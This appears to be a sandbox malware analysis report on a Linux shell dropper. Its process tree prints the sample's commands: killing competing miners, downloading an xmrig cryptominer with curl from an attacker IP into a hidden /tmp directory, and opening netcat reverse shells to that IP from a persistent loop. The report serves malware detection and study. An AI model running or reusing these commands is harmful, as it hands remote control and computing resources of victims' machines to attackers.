2bf7e1452cb131673199ec231526b92d8c5bdfa3f14e69aab7d075ab59346540

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30/08/2026, 23:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2bf7e1452cb131673199ec231526b92d8c5bdfa3f14e69aab7d075ab59346540
Size 1KB
Sample260830-3msllssbnc
SHA256 2bf7e1452cb131673199ec231526b92d8c5bdfa3f14e69aab7d075ab59346540
MD5 4efcacfda648de2aa4b9ed1f22c423d3
SHA1 499deac22fbafcd5890a688627d0673a92429435
SHA512 14e7d6a871bcaf77518dbcc9165e90ee15da396df30375070d1a9539a0f147b680865d24c59ee7f9faf71c047bb7fa171bfdb60b20317258c64d2bbcdf542eb6
TLSH
T1E9410DF1F930D4347F0C88BAFE9E5468A983D06F4E5ABDA5A04BC8F0419E509B17C6B4
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1496	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 4 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/479/status	pkill
File opened for reading	/proc/1080/cmdline	pkill
File opened for reading	/proc/29/status	pgrep
File opened for reading	/proc/34/status	pgrep
File opened for reading	/proc/1058/cmdline	pgrep
File opened for reading	/proc/34/cmdline	pkill
File opened for reading	/proc/501/cmdline	pkill
File opened for reading	/proc/553/cmdline	pkill
File opened for reading	/proc/455/cmdline	pkill
File opened for reading	/proc/1087/status	pkill
File opened for reading	/proc/163/status	pgrep
File opened for reading	/proc/269/status	pkill
File opened for reading	/proc/1315/status	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/32/status	pkill
File opened for reading	/proc/1488/status	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/79/cmdline	pkill
File opened for reading	/proc/992/status	pkill
File opened for reading	/proc/558/status	pkill
File opened for reading	/proc/171/cmdline	pgrep
File opened for reading	/proc/168/status	pkill
File opened for reading	/proc/964/cmdline	pkill
File opened for reading	/proc/1056/cmdline	pkill
File opened for reading	/proc/988/cmdline	pgrep
File opened for reading	/proc/1488/cmdline	pgrep
File opened for reading	/proc/483/status	pkill
File opened for reading	/proc/978/cmdline	pkill
File opened for reading	/proc/648/cmdline	pkill
File opened for reading	/proc/1460/status	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/245/status	pkill
File opened for reading	/proc/951/cmdline	pkill
File opened for reading	/proc/964/cmdline	pkill
File opened for reading	/proc/1261/cmdline	pkill
File opened for reading	/proc/174/cmdline	pgrep
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/34/status	pkill
File opened for reading	/proc/83/status	pkill
File opened for reading	/proc/1513/cmdline	pkill
File opened for reading	/proc/646/status	pgrep
File opened for reading	/proc/931/status	pgrep
File opened for reading	/proc/1489/cmdline	pgrep
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/1299/status	pkill
File opened for reading	/proc/83/status	pkill
File opened for reading	/proc/160/status	pkill
File opened for reading	/proc/1090/cmdline	pgrep
File opened for reading	/proc/81/status	pkill
File opened for reading	/proc/1195/cmdline	pkill
File opened for reading	/proc/1315/cmdline	pkill
File opened for reading	/proc/526/cmdline	pkill
File opened for reading	/proc/1254/status	pkill
File opened for reading	/proc/945/cmdline	pkill
File opened for reading	/proc/1074/status	pkill
File opened for reading	/proc/83/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/245/status	pkill
File opened for reading	/proc/469/cmdline	pkill
File opened for reading	/proc/167/status	pkill
File opened for reading	/proc/973/cmdline	pkill

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.x/loop.sh	2bf7e1452cb131673199ec231526b92d8c5bdfa3f14e69aab7d075ab59346540
File opened for modification	/tmp/.x/xmrig64	curl

/tmp/2bf7e1452cb131673199ec231526b92d8c5bdfa3f14e69aab7d075ab59346540
/tmp/2bf7e1452cb131673199ec231526b92d8c5bdfa3f14e69aab7d075ab59346540
1⤵
- Writes file to tmp directory
PID:1492
- /bin/uname
  uname -m
  2⤵
  PID:1493
- /bin/mkdir
  mkdir -p /tmp/.x
  2⤵
  PID:1494
- /bin/cat
  cat
  2⤵
  PID:1495
- /bin/chmod
  chmod +x /tmp/.x/loop.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1496
- /usr/bin/pgrep
  pgrep -f tmp/.x/loop.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1497
- /usr/bin/pkill
  pkill -9 -f xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1503
- /usr/bin/pkill
  pkill -9 -f minerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1512
- /usr/bin/pkill
  pkill -9 -f kthreaddk
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1513
- /usr/bin/curl
  curl -fsSL -o xmrig64 http://66.42.86.232:8000/xmrig64
  2⤵
  - Writes file to tmp directory
  PID:1515

/usr/bin/nohup
nohup sh /tmp/.x/loop.sh
1⤵
PID:1502

/usr/local/sbin/sh
sh /tmp/.x/loop.sh
1⤵
PID:1502

/usr/local/bin/sh
sh /tmp/.x/loop.sh
1⤵
PID:1502

/usr/sbin/sh
sh /tmp/.x/loop.sh
1⤵
PID:1502

/usr/bin/sh
sh /tmp/.x/loop.sh
1⤵
PID:1502

/sbin/sh
sh /tmp/.x/loop.sh
1⤵
PID:1502

/bin/sh
sh /tmp/.x/loop.sh
1⤵
PID:1502
- /bin/nc
  nc 66.42.86.232 4444 -e /bin/sh
  2⤵
  PID:1505
- /bin/nc
  nc -e /bin/sh 66.42.86.232 4444
  2⤵
  PID:1507
- /bin/sleep
  sleep 300
  2⤵
  PID:1508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

loop.sh

Path /tmp/.x/loop.sh
Size 195B
SHA256 252d86327b4ef1a0f86f0981401cd38be6506e2e37e4525b851d8c400d80c344
MD5 ef365fa689f008fb9313e2c4f924bdc1
SHA1 c79f077f7551a5061c3448253113b551c53ab90f
SHA512 9cdf014b708610c676ecba6ccc1848c591a0b2d63da48f284f8740f88a4d79b916c99f86bc7b6f190df78f7317bbd4d08bbd194319989a72a9ecc89da60ed55d
TLSH
T115D012F4F471A0303F1444BEA74598642A93199F996C5670844789D3544E31F344D1B3
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig64

Path /tmp/.x/xmrig64
Size 3.1MB
SHA256 001e1336d0506d8fe6e3a07a992a9e62c6e3045b0909ccc32a56791a066c6310
MD5 ade219c4ed8f4c1f093998f38f253784
SHA1 e29ef285874c252d81bf2daa6e9ed9afb19c83d0
SHA512 786b3bd1ebbe0a31ef45366ec1fef8a06a268fa4ccf2a29d9728671e20cd8eeaf64a8f28716e325dde6d0cd4a0c73d3d5be87c17c74a0a117315934aabacbea1
SSDEEP 98304:yr6P2CZlp4ledj/mf7ukUzX093B9VK/OQGthOlgPEWi1MVNWoGt7rPAW3Q:bl4lcmDi1WIPq
TLSH
T13EE53B1BE5E320FCC5DAC074476FD623BA71B8A942247EBB2294AE302F56E50671DF11
MD5 SHA1 SHA512 SSDEEP TLSH